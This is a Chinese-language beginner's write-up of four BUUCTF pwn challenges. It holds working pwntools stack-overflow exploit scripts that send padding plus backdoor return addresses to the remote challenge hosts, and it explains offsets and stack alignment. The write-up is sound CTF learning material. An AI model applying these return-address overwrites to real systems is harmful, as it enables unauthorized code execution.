buu-pwn

人生第一道pwn题

buu-pwn

rip

栈溢出

今天听了星盟的pwn课 感觉这题应该有戏

image-20220512205608665

gets 可以来制造栈溢出

然后点击去 参数s 可以看到

image-20220512205801890

我们可以看得到 我们要搞到 return 的话 要填 F + 8 个位置才行

然后看一下后门函数的地址

image-20220512210225987

可以看到后门函数 fun 的地址为 0x401186 然后我们可以来编写脚本了

image-20220512211107057

出了点小状况 emmm 估计要decode 一下

emm 问题是真的多 555

image-20220512213545030

首先是 byte 的问题

然后来看一下?bash貌似出来了 咋一下就没了 emmm

pwntools-tutorial/bytes.md at master · Gallopsled/pwntools-tutorial · GitHub

找到了解决方法

但是没有打通 ,,,

1
2
3
4
5
6
7
from pwn import *
p = remote('node4.buuoj.cn',27858)
backdoor = 0x401196
payload = b'a'*23 +p64(backdoor)
p.recvuntil(b"please input\n")
p.sendline(payload)
p.interactive()

看了网上的教学 呃呃呃

好像说是 ubuntu 回合以前的不一样 所以 以后要备用几个docker?

找到了两种解决方法

至于最后为什么要+1,我们可以发现,不加一我们在本地可以打通,但是却打不通远程,这也是我开头说的,和以前payload不一样的地方,原理我们是没有错的,这里+1是为了堆栈平衡

老版本的这道题是32位的,而现在是64位的,参数小于6个不会用到栈来传参。而gets()只有一个参数,所以传递参数只需用到rdi(这你可以看ida的汇编代码,call下面有个mov rdi,rax),这道题的s应该是一个局部变量,23个刚刚覆盖了rbp,然后那两个地址紧接着往下排,0x401198是 “retn” 保证程序能正常返回,然后0x401186在Main函数栈顶。又因为retn相当于pop + 执行,故形成了返回地址劫持~~

emmm

最后payload

1
2
3
4
5
6
7
from pwn import *
p = remote('node4.buuoj.cn',27858)
backdoor = 0x401186+1
payload = b'a'*23 +p64(backdoor)
# p.recvuntil(b"please input\n")
p.sendline(payload)
p.interactive()

反而是 recvuntil 没用对 最后还是打出来了

warmup_csaw_2016

Ubuntu 16

checksec 一下

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

拖到IDA反编译一下 看到一个函数

image-20220513152459505

看一下函数的地址

image-20220513152549338

函数地址为 0x40060D 看看有没有办法跳转到这里 由于是ubuntu16 应该不存在昨天堆栈平衡的问题了

image-20220513152713081

看一下 main 函数 可以发现有个 gets 函数 是不是有问题?

貌似这个 write 也有问题 用这个 s 貌似可以导致栈溢出?

看了一下栈的结构

他这个 s 下面 有一个

image-20220513160500874

这个 var_40 是 gets 里的 v5

so 直接用 v5 行不行?

1
2
3
4
5
6
from pwn import *
p = remote('node4.buuoj.cn',29694)
backdoor = 0x40060D
payload = b'a'*48 +p64(backdoor)
p.sendline(payload)
p.interactive()

试了下 好像不行 emmm

我是sb 那是16进制

1
payload = b'a'*72 +p64(backdoor)

emmm

ciscn_2019_n_1

image-20220513162432729

我们只要让 v2 == 11.28125 即可

我们可以得到v1

用v1溢出来污染v2

image-20220513164845082
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <process.h>
#include <tchar.h>
#include <bits/stdc++.h>

int _tmain(int argc, _TCHAR* argv[])
{
// 将十六进制转换为float形式
unsigned char pMem[] = {0x66,0xE6,0xF0,0x42};
float *p = (float*)pMem;
printf("%g\r\n",*p);

// 将float转换为16进制
float a=11.28125;
unsigned char * b = (unsigned char*)&a;

for(int i = 0; i<4; i++)
printf("0x%2X,", b[i]);

system("pause");
return 0;
}

网上抄了一段代码

跑出来的是

1
0x 0,0x80,0x34,0x41

写payload

1
2
3
4
5
6
7
8
9
from pwn import *
sl=lambda x:io.sendline(x)

io=remote('node4.buuoj.cn',27089)

payload=b'a'*(0x30-0x4)+p32(0x41348000)
sl(payload)

io.interactive()

pwn1_sctf_2016

希望这题不是栈溢出 o.o

image-20220515135118966

有个vuln函数

有个 strcpy 估计又是栈溢出 o.o

怎么搞

找到后门函数

image-20220515140613510

地址 0x8048f0d 然后想办法溢出

想要溢出 需要 0x3c 个字母 但我们只能输入 32 个字

image-20220515141409648

image-20220515141429712

但是 我们可以把 I 变成 You

payload

1
2
3
4
5
6
7
8
9
from pwn import *
sl=lambda x:io.sendline(x)

io=remote('node4.buuoj.cn',28403)

payload=b'I'*20+b'a'*4+p32(0x8048f0d)
sl(payload)

io.interactive()